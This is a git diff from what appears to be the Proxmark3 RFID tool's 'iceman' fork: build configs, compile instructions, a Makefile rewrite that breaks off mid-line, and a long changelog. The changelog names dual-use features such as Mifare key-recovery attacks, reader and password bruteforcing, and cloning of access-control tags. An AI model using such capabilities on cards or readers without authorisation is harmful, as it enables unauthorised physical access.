diff --git a/.gitattributes b/.gitattributes index ef225ce2b..bae55fcce 100644 --- a/.gitattributes +++ b/.gitattributes @@ -1,4 +1,6 @@ # .gitattributes # prevent binary files from CRLF handling, diff and merge: fpga/fpga.bit -crlf -diff +*.bin -crlf -diff +*.z -crlf -diff \ No newline at end of file diff --git a/.gitignore b/.gitignore index 07669e14a..f3fbe950a 100644 --- a/.gitignore +++ b/.gitignore @@ -1,6 +1,7 @@ # .gitignore # don't push these files to the repository +.history *.log *.eml *.o @@ -12,13 +13,25 @@ *.bin *.dll *.moc.cpp +*.z +*.Td +*.DS_Store *.exe -proxmark +*.dsym +version.c + +!client/hardnested/*.bin +!client/hardnested/tables/*.z +client/ui/ui_overlays.h + +hardnested_stats.txt proxmark3 flasher -version.c lua luac +fpga_compress +mfkey32 +mfkey64 fpga/* !fpga/tests @@ -32,4 +45,18 @@ fpga/* !fpga/go.bat !fpga/sim.tcl +#client/* +# my own traces folder +client/traces/* +*.ice +*.new +armsrc/TEMP EMV/* +tools/mf_nonce_brute/* +tools/andrew/* +ppls patches/* +*- Copy.* +client/lualibs/mf_default_keys.lua +client/lualibs/usb_cmd.lua +# recompiled +fpga_version_info.c diff --git a/.travis.yml b/.travis.yml new file mode 100644 index 000000000..cd8906ca9 --- /dev/null +++ b/.travis.yml @@ -0,0 +1,51 @@ +# Travis-CI Build for IcemanFork/Proxmark3 +language: c + +#default linux build env is: Ubuntu 14.04 trusty +compiler: gcc + +# Test on Linux and MacOS +matrix: + include: +# - os: osx +# osx_image: xcode7.3 # OS X 10.11 +# - os: osx +# osx_image: xcode8.3 # OS X 10.12 +# - os: osx +# osx_image: xcode9 # OS X 10.13 + - os: osx + osx_image: xcode9.1 # OS X 10.13.1 + - os: linux + dist: trusty + sudo: required + +before_install: +## Install ARM toolchain on Linux. +## add our homebrew tap for MacOS +## Note: all dependencies on MacOS should be resolved by the brew install command + if [[ "$TRAVIS_OS_NAME" == "linux" ]]; then + sudo apt-get update -qq; + sudo apt-get install -y gcc-arm-none-eabi; + elif [[ "$TRAVIS_OS_NAME" == "osx" ]]; then + brew update; + brew tap iceman1001/proxmark3; + fi + +install: + if [[ "$TRAVIS_OS_NAME" == "osx" ]]; then + brew info proxmark3; + brew options proxmark3; + brew install --HEAD proxmark3; + elif [[ "$TRAVIS_OS_NAME" == "linux" ]]; then + make all; + fi + +before_script: + +script: +## start and run a test script + if [[ "$TRAVIS_OS_NAME" == "osx" ]]; then + proxmark3 -h ; + elif [[ "$TRAVIS_OS_NAME" == "linux" ]]; then + ./client/proxmark3 -h ; + fi \ No newline at end of file diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 000000000..1fb261372 --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,333 @@ +# Change Log +All notable changes to this project will be documented in this file. +This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... + +## [unreleased][unreleased] + - Added more default keys (@j8048188) (@iceman) + - Added 'sc list/info/raw/reader/upgrade' - (RDV40) smart card module functionality (@iceman) + - Fix 'download eml buffer' (@drandreas) + - Changed 'exclusion of floatingpoint lib' (@pwpiwi) + - Changed 'lua scripts bit32 calls' (@iceman) + - Changed 'hw version' (@pwpiwi), adapted to iceman fork ( @iceman) + - Added 'amiibo functionality' (@jamchamb), adapted to iceman fork ( @iceman) + - Fix 'hf legic' (RDV40) adaptations to FPGA HF enhanched reading distance (@iceman) Thanks to @drandreas! + - Added 'script run mifare_acces' - script to decode Mifare classic accessbits (@Neuromancer) + - Added 'mem load/save/wipe' - commands to upload / download to new RDV40 onboard flashmemory (@iceman) + - Added 'script run mifareplus" - script to communicate with a mifare plus tag (@dceliano) + - Added FlashMemory functionality (RDV40) (Thanks @willok) + - Fix 'hf mfu dump' - partial reads lead to corrupt data (Thanks @elafargue for pointing it out) + - Changed 'hf mfu dump / read' - now retries five times. (@jamchamb) + - Added `hf list mf` - deciphers crypto1 stream and works with first authentication and weak nested authentications (@Merlok) + - Adjusted `lf cmdread` to respond to client when complete and the client will then automatically call `data samples` (@marshmellow42) + - Added a bitbang mode to `lf cmdread` if delay is 0 the cmd bits turn off and on the antenna with 0 and 1 respectively (@marshmellow42) + - dump / restore now uses custom filenames (@brianpow) + - Removed 'hf mf sniff' , (@iceman), use HF 14A SNIFF instead + - Added 'hf iclass lookup' (@iceman) + - Added 'hf iclass chk' (@iceman) + - Fixed ADC mux all closed push-pull state (@iceman) + - Fix 'hf mf darkside' - speed fixes (@pwpiwi) + - Fix 'hw tune' - now compensates for 3% error in output, also measure full 140v using ADC channel 5 and 7. (@iceman) + - Updated loclass gpl license (@holiman) + - Fix Antenna on after changed FPGA Mode. (@iceman) + - Added 'hf mf nack' - Mifare NACK bug detection (@iceman) (@doegox) + - Fix 'hf mf mifare' - zero parity works, no more double runs for normal darkside (@iceman) + - Added 'hf mf fchk' - the fastest check keys implementation tothisday (@iceman) + - Fix 'hf iclass' - more stable demod (@iceman) + - Added 'hf iclass chk' - check keys from default_iclass_keys.dic file (@iceman) + - Fix 'hf 15 dump' - no more crc faults (@iceman) + - Fix 'hf 15 read' - no more crc faults (@iceman) + - Fix 'hf 15 readmulti' - no more crc faults (@iceman) + - Changed proxmark command line parameter `flush` to `-f` or `-flush` (@merlokk) + - Added to proxmark command line parameters `w` - wait 20s for serial port (@merlokk) + - Added to proxmark command line parameters `c` and `l` - execute command and lua script from command line (@merlokk) + - Added to proxmark ability to execute commands from stdin (pipe) ((@merlokk) + - Added new standalone mode "HF Mifare ultra fast sniff/sim/clone - aka VIGIKPWN" (@cjbrigato) + - Added to `hf 14a apdu` - exchange apdu via iso1443-4 (@merlokk) + - Added to `hf 14a apdu` - apdu and tlv results parser (@merlokk) + - Added 'hf emv' commands (@merlokk) + - lots of bug fixes (many many) +### Fixed +- Changed driver file proxmark3.inf to support both old and new Product/Vendor IDs (piwi) +- Changed start sequence in Qt mode (fix: short commands hangs main Qt thread) (Merlok) + +## [ice.3.1.0][2017-09-26] + - proxmark3 client can reconnect to device without restart (iceman) + - lots of bug fixes (many many) + - trace/securakey-64169.pm3 - trace of a scecurakey (atyppo) + - 'hf mf decrypt' - got some longer input and helptext parameter (iceman) + - Updated the Reveng 1.51 sourcecode to 1.52 from Reveng project homepage (iceman) + - 'hf 14a read' - disconnects when failing to read tag (iceman) + - 'hf mf csave' - renamed parameter 'i' to 'o' as in output (iceman) + +## [3.0.0][2017-08-29] + Notes on this release + this version includes a merge with the PM3 offical v3.0.1 code, a.k.a the "Monster merge" + There is a lot of changes, command breaking changes, which is the cause for the JUMP in version number. + It is set to v3.0.0 to show that it is on par with PM3 Offical v3 release. + + - Updated 'mkversion.pl' to write a date based on file when repo is downloaded as a zip file from github (iceman) + - Update 'readme.md' to fit GitHubs markup(joanbono) + - Added 'script run ul_uid', try to change UID on a magic UL-card. (iceman) + - Fixed 'hf snoop' bug, of wrong bool value (ikarus23) + - Fixed fullimage.s19, wrong offsets (doegox) + - Updated '77-mm-usb-device-blacklist.rules' for the pid/vid (iceman) + - 'hf 14a sim' now follows Mifare UL-EV1 protocol better (iceman) + - Updated 'fpga_hf.bit' file (piwi) + - Added more card detections to 'hf mfu info' (iceman) + - Fixed 'hf mfu restore/dump' to use the right struct values in special data in dumpfile. (iceman) + - Added 'hf mfu restore r' new parameter to use the new pwd for all further auths needed when executing (iceman) + - Added 'default_keys_dic2lua.awk' script to generate default_keys file in client/lualibs (iceman) + - Fixes to lots of lua scripts, among others + - 'mifare_autopwn', now uses PRNG detection (iceman) + - 'mfkeys', fixed bug which only tested the first key (iceman) + - 'dumptoemul', removed last newline (iceman) + - ... + - Added USB/SERIAL communication enhancements (micolous) + - Change 'hf 14a cuids', to be interrupted with keyboard press (iceman) + - Change debugstatements for LF to show which function more unified (iceman) + - Added 'script run calc_di' , to calculate some Mifare keys (iceman) + - Fixed iclass commands never shut down antenna afterwards (iceman) + - Change 512kb detection when flashing (iceman) + - Fixed compilation GCC4.9 or higher detection (winguru) + - Fixed compiler warnings in Ubuntu 17.04 (iceman) + - Ripped out 'standalone' code into separete folder to be continued. (iceman) + - 'hf mf nested', added key validation to entered key (merlokk) + - 'hf mf hardnested', added key validation to enterd key (iceman) + - Change a lot of help texts (iceman) + - Fixed 'hf mf chk' - keyblock bug, limited keys to 256. (iceman) + - Change 'hf mf dump' retries three times now before giving up (marshmellow) + - Fixed 'mfu authentication', with pack-len error (iceman) + - 'Script list', change sortorder to alphabetic order (iceman) + - Change 'hf mfu gen' to read taguid (iceman) + - Change 'hf mfu pwdgen' to read taguid (iceman) + - Added 'hf mf setmod' sets Mifare Classic EV1 load modulation strength to card (angelsl) + - Added 'hf 14a read' Mifare PRNG detection based on @doegox LIBNFC impl (iceman) + - Added 'hf mf nonces', collects Mifare Classic nonces for analysing of PRNG (iceman) + - Added new CSNS in 'hf iclass sim 2' attack (iceman) + - Added more default keys (iceman) + - Added analyse nuid, enable creation of Mifare NUID (iceman) + - Updated the Reveng 1.44 sourcecode to 1.51 from Reveng project homepage (iceman) + - script run formatMifare - got an option to execute the generate strings (iceman) + - Fix 'hf mf cgetsc' (iceman) + - Fix 'hf legic info' (iceman) + - Change version output (iceman) + - Added PAC/Stanley detection to lf search (marshmellow) + - Added lf pac demod and lf pac read - extracts the raw blocks from a PAC/Stanley tag (marshmellow) + - Added hf mf csave commands compatibity for 4k (Fl0-0) + - Added data fsktonrz, a fsk cleaning/demodulating routine for weak fsk signal. Note: follow this up with a `data rawdemod nr` to finish demoding your signal. (marshmellow) + - Added lf em 410xbrute, LF EM410x reader bruteforce attack by simulating UIDs from a file (Fl0-0) + - Compiles on OS X + - Compiles with gcc 4.9 + - Compiles for non-Intel CPUs + - Added lf hitag write 24, the command writes a block to hitag2 tags in crypto mode (henjo) + - Added the improved 'hf mf hardnested', an attack working for hardened Mifare cards (EV1, Mifare Plus SL1) + - Added experimental testmode write option for t55xx (danger) (marshmellow) + - Added t55xx p1detect to `lf search` chip detections (marshmellow) + - Added lf t55xx p1detect, detect page 1 of a t55xx tag based on E015 mfg code (marshmellow) + - Added lf noralsy demod, read, clone, sim commands (iceman) + - Added lf jablotron demod, read, clone, sim commands (iceman) + - Added lf nexwatch read - reads a nexwatch tag from the antenna + - Added lf paradox read - reads a paradox tag from the antenna + - Added lf fdx sim (iceman) + - Added lf fdx clone - clones an fdx-b animal tag to t55x7 or q5 (iceman) + - Added lf fdx read - reads a fdx-b tag from the antenna (iceman) + - Added lf gproxii read - reads a gproxii tag from the antenna (marshmellow) + - Added lf indala read - reads an indala tag from the antenna (marshmellow) + - Added lf visa2000 demod, read, clone, sim commands (iceman) + +## [1.7.0 iceman fork] [2017-03-07] + - hf mf dump - added retry loops to try each read attempt up to 3 times. makes getting a complete dump easier with many antennas. (marshmellow) + + - Added markers in the graph around found Sequence Terminator after askmandemod. (marshmellow) + - Added data mtrim command to trim out samples between start and stop. (marshmellow) + - Added data setgraphmarkers command to set two extra markers on the graph (marshmellow) + - added json support in lua (vitorio) + - added a buspirate settings file for at91sam7s512 (adamlaurie) + - `lf read` timeouts is now depended on what threshold level you set in `lf config` (marshmellow) + - `hf mf sim` fixed a bug which made sim fail auths. (iceman) + - `hf 14a read` added magic tag generation 1a and 1b detection (iceman) + - correctly using stdtypes.h printf and scanf format string macros (PRIx64 et al) (pwpivi) + - fix linker warning re missing entry point when linking fullimage.elf (pwpivi) + - small changes to lf psk and fsk demods to improve results when the trace begins with noise or the chip isn't broadcasting yet (marshmellow) + - NOTE CHANGED ALL `lf em4x em*` cmds to simpler `lf em ` - example: `lf em4x em410xdemod` is now `lf em 410xdemod` + - Renamed and rebuilt `lf em readword` && readwordpwd to `lf em 4x05read` - it now demods and outputs the read block (marshmellow/iceman) + - Renamed and rebuilt `lf em writeword` && writewordpwd to `lf em 4x05write` - it now also reads validation output from the tag (marshmellow/iceman) + - Fixed bug in lf sim and continuous demods not turning off antenna when finished + - Added lua script path fixes (pwpivi) + - `lf search` - Added EM4x05/EM4x69 chip detection (marshmellow) + - Added lf em 4x05dump command to read and output all the blocks of the chip (marshmellow) + - Added lf em 4x05info command to read and display information about the chip (marshmellow) + - `lf em4x em4x50***` refactoring of em4x50 commands. (iceman) + +## [1.6.9 iceman fork] [2017-02-06] + - Serial speedup, if possible 408600baud otherwise default to 115200baud (iceman) + - `hf emv` - Added Peter Fillmore's EMV branch now compiles on iceman fork. See seperate issue. (iceman) + - `hf 14a reader` - Aztek detection. (iceman) + - `standalone mode` - added more detection of tags and refactored (iceman) + - `script run ufodump` - dumps an Aztek tag. (iceman) + - `script run hard_autopwn` - runs hardnested attack against all sectors on tag (iceman) + - Added lf cotag read, and added it to lf search (iceman) + - Added hitag2 read UID only and added that to lf search (marshmellow) + - `lf search` - check for if signal is only noice (marshmellow) + - `hf 14a reader` - fixed a bug when card has sak 0x00 but still is not UL/NTAG etc. (iceman) + - `hf mf sim` / `hf 14a sim` - use random nonce. (micolous) + - `hw tune` - only prints out if voltage is detected from antenna. (iceman) + - `hf iclass decrypt` - only decrypt Application1 (iceman) + - `lf t55xx detect` - when finding multiple possible config blocks, see if a known configblock exists and select. (iceman) + +## [1.6.7 iceman fork] [2017-01-05] + - `lf animal` - FDX-B animal commands (iceman) + - Fixed bugs in `lf sim` and other lf continuous demods not turning off antenna when finished (marshmellow) + - `hf iclass write` - fixed bugs, added crc. (?) + - `hf iclass dump` - changed layout in dump (iceman) + - Changed - debug statements are more clear (iceman) + - `lf search` - fixed the silent option when acquire data. (iceman) + - `lf search` - added presco, visa2000, noralsy detection (iceman) + - `lf precso` - fixed some bitsgeneration in precso bits (iceman) + - Added `lf noralsy` - adds demod/clone/sime of Noralsy LF tags. (iceman) + - Added `lf visa2000` - adds demod/clone/sim of Visa2000 lF tags. (iceman) + - Added `hf mf key_brute` - adds J-Runs 2nd phase bruteforce ref: https://github.com/J-Run/mf_key_brute (iceman) + - Added `lf jablotron` - adds demod/clone/sim of Jablotron LF tags. (iceman) + - Added `lf t55xx recoverpw` - adds a new password recovery using bitflips and partial flips if password write went bad. (alexgrin) + - `hf legic` - added improved legic data mapping. (jason) + - `hf mf mifare` - added possibility to target key A|B (douniwan5788) + - Added `analyse lcr` - added a new main command group, to help analysing bytes & bits & nibbles. (iceman) + - Added `lf nedap` - added identification of a NEDAP tag. (iceman) + - `lf viking clone` - fixed a bug. (iceman) + - Added bitsliced bruteforce solver in `hf mf hardnested` (Aczid) + - `hf mf chk` speedup (iceman) + - `hf 14a/mf sim x` attack mode, now uses also moebius version of mfkey32 to try finding the key. (iceman) + - `hf 14a sim` Added emulation of Mifare cards with 10byte UID length. (iceman) + - `hf mf sim` Added emulation of Mifare cards with 10byte UID length. (iceman) + - Added `lf guard clone/sim` (iceman) + - Added `lf pyramd clone/sim` (iceman) + - trying to fix `hf 14b` command to be able to read CALYPSO card. (iceman) + - `hf legic load`, it now loads faster and a casting bug is gone. (iceman) + - Added `hf legic calccrc8` added a method to calculate the legic crc-8 value (iceman) + - `hf legic decode` fixed the output overflow bugs, better printing (iceman) + - Coverity Scan fixes a lot of resource leaks, etc (iceman) + - Added `lf presco *` commands started (iceman) + - Added `lf hid wiegand` added a method to calculate WIEGAND in different formats, (iceman) + - `hf mf chkkeys` better printing, same table output as nested, faster execution and added Adam Lauries "try to read Key B if Key A is found" (iceman) + - `hf mf nested` better printing and added Adam Lauries "try to read Key B if Key A is found" (iceman) + - `hf mf mifare` fixing the zero parity path, which doesn't got called. (iceman) + - Updated the @blapost's Crapto1 implementation to v3.3 (blapost) + - `hf mf c*` updated the calling structure and refactored of the chinese magic commands (iceman, marshmellow) + - Started to add Peter Fillmore's EMV fork into Iceman fork. ref: https://github.com/peterfillmore/proxmark3 (peter fillmore, iceman) + - Added Travis-CI automatic build integration with GitHub fork. (iceman) + - Updated the Reveng 1.30 sourcecode to 1.31 from Reveng project homepage (iceman) + - Updated the Reveng 1.31 sourcecode to 1.40 from Reveng project homepage (iceman) + + - Added possibility to write direct to a Legic Prime Tag (MIM256/1024) without using values from the 'BigBuffer' -> 'hf legic writeRaw ' (icsom) + - Added possibility to decrease DCF values at address 0x05 & 0x06 on a Legic Prime Tag + DCF-value will be pulled from the BigBuffer (address 0x05 & 0x06) so you have to + load the data into the BigBuffer before with 'hf legic load ' & then + write the DCF-Values (both at once) with 'hf legic write 0x05 0x02' (icsom) + - Added script `legic.lua` for display and edit Data of Legic-Prime Tags (icsom) + - Added the experimental HITAG_S support (spenneb) + - Added topaz detection to `hf search` (iceman) + - Fixed the silent mode for 14b to be used inside `hf search` (iceman) + +### Added +- Added a LF ASK Sequence Terminator detection option to the standard ask demod - and applied it to `lf search u`, `lf t55xx detect`, and `data rawdemod am s` (marshmellow) +- `lf awid bruteforce ` - Simple bruteforce attack against a AWID reader. +- `lf t55xx bruteforce [i <*.dic>]` - Simple bruteforce attack to find password - (iceman and others) +- `lf viking clone`- clone viking tag to t55x7 or Q5 from 4byte hex ID input +- `lf viking sim` - sim full viking tag from 4byte hex ID input +- `lf viking read` - read viking tag and output ID +- `lf t55xx wipe` - sets t55xx back to factory defaults +- Added viking demod to `lf search` (marshmellow) +- `data askvikingdemod` demod viking id tag from graphbuffer (marshmellow) +- `lf t55xx resetread` added reset then read command - should allow determining start of stream transmissions (marshmellow) +- `lf t55xx wakeup` added wake with password (AOR) to allow lf search or standard lf read after (iceman, marshmellow) +- `hf mf eload u` added an ultralight/ntag option. (marshmellow) +- `hf iclass managekeys` to save, load and manage iclass keys. (adjusted most commands to accept a loaded key in memory) (marshmellow) +- `hf iclass readblk` to select, authenticate, and read 1 block from an iclass card (marshmellow) +- `hf iclass writeblk` to select, authenticate, and write 1 block to an iclass card (or picopass) (marshmellow + others) +- `hf iclass clone` to take a saved dump file and clone selected blocks to a new tag (marshmellow + others) +- `hf iclass calcnewkey` - to calculate the div_key change to change a key - (experimental) (marshmellow + others) +- `hf iclass encryptblk` - to encrypt a data block hex to prep for writing that block (marshmellow) +- ISO14443a stand-alone operation with ARM CFLAG="WITH_ISO14443a_StandAlone". This code can read & emulate two banks of 14a tag UIDs and write to "magic" cards (Craig Young) +- AWID26 command context added as 'lf awid' containing realtime demodulation as well as cloning/simulation based on tag numbers (Craig Young) +- Added 'hw status'. This command makes the ARM print out some runtime information. (holiman) +- Added 'hw ping'. This command just sends a usb packets and checks if the pm3 is responsive. Can be used to abort certain operations which supports abort over usb. (holiman) +- Added `data hex2bin` and `data bin2hex` for command line conversion between binary and hexadecimal (holiman) +- Added 'hf snoop'. This command take digitalized signal from FPGA and put in BigBuffer. (pwpiwi + enio) +- Added Topaz (NFC type 1) protocol support ('hf topaz reader', 'hf list topaz', 'hf 14a raw -T', 'hf topaz snoop'). (piwi) +- Added option c to 'hf list' (mark CRC bytes) (piwi) + +### Changed +- Added `[l] ` option to data printdemodbuffer +- Adjusted lf awid clone to optionally clone to Q5 tags +- Adjusted lf t55xx detect to find Q5 tags (t5555) instead of just t55x7 +- Adjusted all lf NRZ demods - works more accurately and consistently (as long as you have strong signal) +- Adjusted lf pskindalademod to reduce false positive reads. +- Small adjustments to psk, nrz, and ask clock detect routines - more reliable. +- Adjusted lf em410x em410xsim to accept a clock argument +- Adjusted lf t55xx dump to allow overriding the safety check and warning text (marshmellow) +- Adjusted lf t55xx write input variables (marshmellow) +- Adjusted lf t55xx read with password safety check and warning text and adjusted the input variables (marshmellow & iceman) +- Adjusted LF FSK demod to account for cross threshold fluctuations (898 count waves will adjust the 9 to 8 now...) more accurate. (marshmellow) +- Adjusted timings for t55xx commands. more reliable now. (marshmellow & iceman) +- `lf cmdread` adjusted input methods and added help text (marshmellow & iceman) +- changed `lf config t ` to be 0 - 128 and will trigger on + or - threshold value (marshmellow) +- `hf iclass dump` cli options - can now dump AA1 and AA2 with different keys in one run (does not go to multiple pages for the larger tags yet) (marshmellow) +- Revised workflow for StandAloneMode14a (Craig Young) +- EPA functions (`hf epa`) now support both ISO 14443-A and 14443-B cards (frederikmoellers) +- 'hw version' only talks to ARM at startup, after that the info is cached. (pwpiwi) +- Added `r` option to iclass functions - allows key to be provided in raw block 3/4 format + +## [2.2.0][2015-07-12] + +### Changed +- Added `hf 14b raw -s` option to auto select a 14b std tag before raw command +- Changed `hf 14b write` to `hf 14b sriwrite` as it only applied to sri tags (marshmellow) +- Added `hf 14b info` to `hf search` (marshmellow) +- Added compression of fpga config and data, *BOOTROM REFLASH REQUIRED* (piwi) +- Implemented better detection of mifare-tags that are not vulnerable to classic attacks (`hf mf mifare`, `hf mf nested`) (piwi) + +### Added +- Add `hf 14b reader` to find and print general info about known 14b tags (marshmellow) +- Add `hf 14b info` to find and print info about std 14b tags and sri tags (using 14b raw commands in the client) (marshmellow) +- Add PACE replay functionality (frederikmoellers) + +### Fixed +- t55xx write timing (marshmellow) + + +## [2.1.0][2015-06-23] + +### Changed +- Added ultralight/ntag tag type detection to `hf 14a read` (marshmellow) +- Improved ultralight dump command to auto detect tag type, take authentication, and dump full memory (or subset specified) of known tag types (iceman1001 / marshmellow) +- Combined ultralight read/write commands and added authentication (iceman1001) +- Improved LF manchester and biphase demodulation and ask clock detection especially for reads with heavy clipping. (marshmellow) +- Iclass read, `hf iclass read` now also reads tag config and prints configuration. (holiman) +- *bootrom* needs to be flashed, due to new address boundaries between os and fpga, after a size optimization (piwi) + +### Fixed +- Fixed EM4x50 read/demod of the tags broadcasted memory blocks. 'lf em4x em4x50read' (not page read) (marshmellow) +- Fixed issue #19, problems with LF T55xx commands (iceman1001, marshmellow) +- Fixed various problems with iso14443b, issue #103 (piwi, marshmellow) + +### Added +- Added `hf search` - currently tests for 14443a tags, iclass tags, and 15693 tags (marshmellow) +- Added `hf mfu info` Ultralight/NTAG info command - reads tag configuration and info, allows authentication if needed (iceman1001, marshmellow) +- Added Mifare Ultralight C and Ultralight EV1/NTAG authentication. (iceman1001) +- Added changelog +- Added `data fdxbdemod` - Demodulate a FDX-B ISO11784/85 Biphase tag from GraphBuffer aka ANIMAL TAG (marshmellow, iceman1001) + +## [2.0.0] - 2015-03-25 +### Changed +- LF sim operations now abort when new commands arrive over the USB - not required to push the device button anymore. + +### Fixed +- Mifare simulation, `hf mf sim` (was broken a long time) (pwpiwi) +- Major improvements in LF area and data operations. (marshmellow, iceman1001) +- Issues regarding LF simulation (pwpiwi) + +### Added +- iClass functionality: full simulation of iclass tags, so tags can be simulated with data (not only CSN). Not yet support for write/update, but readers don't seem to enforce update. (holiman). +- iClass decryption. Proxmark can now decrypt data on an iclass tag, but requires you to have the HID decryption key locally on your computer, as this is not bundled with the sourcecode. + + diff --git a/COMPILING.txt b/COMPILING.txt index c894f0ff0..bc6c96660 100644 --- a/COMPILING.txt +++ b/COMPILING.txt @@ -1,12 +1,13 @@ The project compiles on Linux, Mac OS X and Windows (MinGW/MSYS). it requires: -- gcc >= 4.4 +- gcc >= 4.8 - libpthread - libreadline - libusb - perl - an ARM cross-compiler to compile the firmware +- libncurses5-dev and optionally QT for the GUI @@ -16,7 +17,22 @@ To compile, just run "make". =========== = Windows = =========== -The following is a complete list of packages required to setup the compile environment yourself. Alternatively you can download an archive of the full environment (see below). + +Rather than download and install every one of these packages, a new ProxSpace +environment archive file will be made available for download on the project +page at @Gator96100's repo + +Afterwards just clone the iceman repo or download someone elses. Read instructions on @Gator96100 repo page. (https://github.com/Gator96100/ProxSpace/) + +Download the ProxSpace environment archive and extract it to C:\ + +Links + https://github.com/Gator96100/ProxSpace/archive/master.zip + + +-- OR -- + +Use the following list of packages required to setup the compile environment yourself. 1 - Install QT SDK for Windows [1] @@ -71,17 +87,80 @@ Download links: [5] http://sourceforge.net/projects/devkitpro/files/Automated%20Installer/devkitProUpdater-1.5.0.exe/download [6] http://strawberry-perl.googlecode.com/files/strawberry-perl-5.10.1.1.msi -Rather than download and install every one of these packages, a new ProxSpace -environment archive file will be made available for download on the project -page at http://code.google.com/p/proxmark3/downloads/list - -Download the ProxSpace environment archive and extract it to C:\ ============ = Mac OS X = ============ -macport stuff should do ;) +Installing from HomeBrew tap +--------------------------- +This method is recommended and tested on macOS Sierra 10.12.3 + +1. Install homebrew if you haven't yet already done so: http://brew.sh/ + +2. Tap proxmark repo: + brew tap iceman1001/proxmark3 + +3. Install Proxmark3: + +Stable release + brew install proxmark3 + +Latest non-stable from GitHub (use this if previous command fails) + brew install --HEAD proxmark3 + +For more information go to https://github.com/iceman1001/homebrew-proxmark3 + +Upgrading HomeBrew tap formula +----------------------------- +*This method is useful for those looking to run bleeding-edge versions of iceman's client. Keep this in mind when attempting to update your HomeBrew tap formula as this procedure could easily cause a build to break if an update is unstable on macOS.* + +Tested on macOS Sierra 10.12.6 + +*Note: This assumes you have already installed iceman's fork from HomeBrew as mentioned above* + +1. Force HomeBrew to pull the latest source from github +`brew upgrade --fetch-HEAD iceman1001/proxmark3/proxmark3` + +2. Flash the bootloader + * With your Proxmark3 unplugged from your machine, press and hold the button on your Proxmark 3 as you plug it into a USB port. After about 5 seconds let go of the button and run this command + `$ sudo proxmark3-flasher /dev/tty.usbmodem881 /usr/local/Cellar/proxmark3/HEAD-ccfdd60/share/firmware/fullimage.elf` + * After the bootloader finishes flashing, unplug your Proxmark3 from your machine + +3. Flash fullimage.elf + * Press and hold the button on your Proxmark 3 and keep it held as you plug the Proxmark 3 back into the USB port; continue to hold the button until after this step is complete and the `proxmark3-flasher` command outputs "Have a nice day!"* + +`$ sudo proxmark3-flasher /dev/tty.usbmodem881 /usr/local/Cellar/proxmark3/HEAD-ccfdd60/share/firmware/fullimage.elf` + +4. Enjoy the update + +Compilling from source manually (Legacy) +--------------------------- + +Tested on OSX 10.10 Yosemite + +1 - Install Xcode and Xcode Command Line Tools + +2 - Install Homebrew and dependencies + brew install readline libusb p7zip libusb-compat wget qt5 pkgconfig + +3 - Download DevKitARM for OSX + http://sourceforge.net/projects/devkitpro/files/devkitARM/devkitARM_r44/ + Unpack devkitARM_r44-osx.tar.bz2 to proxmark3 directory. + +4 - Edit proxmark3/client/Makefile adding path to readline and qt5 + + LDLIBS = -L/usr/local/opt/readline/lib -L/usr/local/opt/qt5/lib -L/opt/local/lib -L/usr/local/lib ../liblua/liblua.a -lreadline -lpthread -lm + CFLAGS = -std=c99 -I/usr/local/opt/qt5/include -I/usr/local/opt/readline/include -I. -I../include -I../common -I../zlib -I/opt/local/include -I../liblua -Wall $(COMMON_FLAGS) -g -O4 + + If your old brew intallation use /usr/local/Cellar/ path replace /usr/local/opt/readline/lib with your actuall readline and qt5 path. See homebrew manuals. + +5 - Set Environment + + export DEVKITPRO=$HOME/proxmark3/ + export DEVKITARM=$DEVKITPRO/devkitARM + export PATH=${PATH}:${DEVKITARM}/bin + ============ = Linux = diff --git a/Makefile b/Makefile index 101212b49..d7bd727d4 100644 --- a/Makefile +++ b/Makefile @@ -1,10 +1,34 @@ -include common/Makefile.common - GZIP=gzip +# Windows' echo echos its input verbatim, on Posix there is some +# amount of shell command line parsing going on. echo "" on +# Windows yields literal "", on Linux yields an empty line +ifeq ($(shell echo ""),) +# This is probably a proper system, so we can use uname +DELETE=rm -rf +FLASH_TOOL=client/flasher +platform=$(shell uname) +ifneq (,$(findstring MINGW,$(platform))) +FLASH_PORT=com3 +PATHSEP=\\# +else FLASH_PORT=/dev/ttyACM0 +PATHSEP=/ +endif +else +# Assume that we are running on native Windows +DELETE=del /q +FLASH_TOOL=client/flasher.exe +platform=Windows +FLASH_PORT=com3 +PATHSEP=\\# +endif -all clean: %: bootrom/% armsrc/% client/% recovery/% +all clean: %: client/% bootrom/% armsrc/% recovery/% mfkey/% nonce2key/% +mfkey/%: FORCE + $(MAKE) -C tools/mfkey $(patsubst mfkey/%,%,$@) +nonce2key/%: FORCE + $(MAKE) -C tools/nonce2key $(patsubst nonce2key/%,%,$@) bootrom/%: FORCE $(MAKE) -C bootrom $(patsubst bootrom/%,%,$@) armsrc/%: FORCE @@ -15,35 +39,29 @@ recovery/%: FORCE $(MAKE) -C recovery $(patsubst recovery/%,%,$@) FORCE: # Dummy target to force remake in the subdirectories, even if files exist (this Makefile doesn't know about the prerequisites) +.PHONY: all clean help _test flash-bootrom flash-os flash-all FORCE -.PHONY: all clean help _test flash-bootrom flash-os flash-fpga flash-both flash-all FORCE help: @echo Multi-OS Makefile, you are running on $(DETECTED_OS) @echo Possible targets: @echo + all - Make bootrom, armsrc and the OS-specific host directory @echo + client - Make only the OS-specific host directory @echo + flash-bootrom - Make bootrom and flash it - @echo + flash-os - Make armsrc and flash os - @echo + flash-fpga - Make armsrc and flash fpga - @echo + flash-both - Make armsrc and flash os and fpga image - @echo + flash-all - Make bootrom and armsrc and flash bootrom, os and fpga image + @echo + flash-os - Make armsrc and flash os \(includes fpga\) + @echo + flash-all - Make bootrom and armsrc and flash bootrom and os image + @echo + mfkey - Make tools/mfkey + @echo + nounce2key - Make tools/nounce2key @echo + clean - Clean in bootrom, armsrc and the OS-specific host directory - + client: client/all flash-bootrom: bootrom/obj/bootrom.elf $(FLASH_TOOL) $(FLASH_TOOL) $(FLASH_PORT) -b $(subst /,$(PATHSEP),$<) -flash-os: armsrc/obj/osimage.elf $(FLASH_TOOL) +flash-os: armsrc/obj/fullimage.elf $(FLASH_TOOL) $(FLASH_TOOL) $(FLASH_PORT) $(subst /,$(PATHSEP),$<) -flash-fpga: armsrc/obj/fpgaimage.elf $(FLASH_TOOL) - $(FLASH_TOOL) $(FLASH_PORT) $(subst /,$(PATHSEP),$<) - -flash-both: armsrc/obj/osimage.elf armsrc/obj/fpgaimage.elf $(FLASH_TOOL) - $(FLASH_TOOL) $(FLASH_PORT) $(subst /,$(PATHSEP),$(filter-out $(FLASH_TOOL),$^)) - -flash-all: bootrom/obj/bootrom.elf 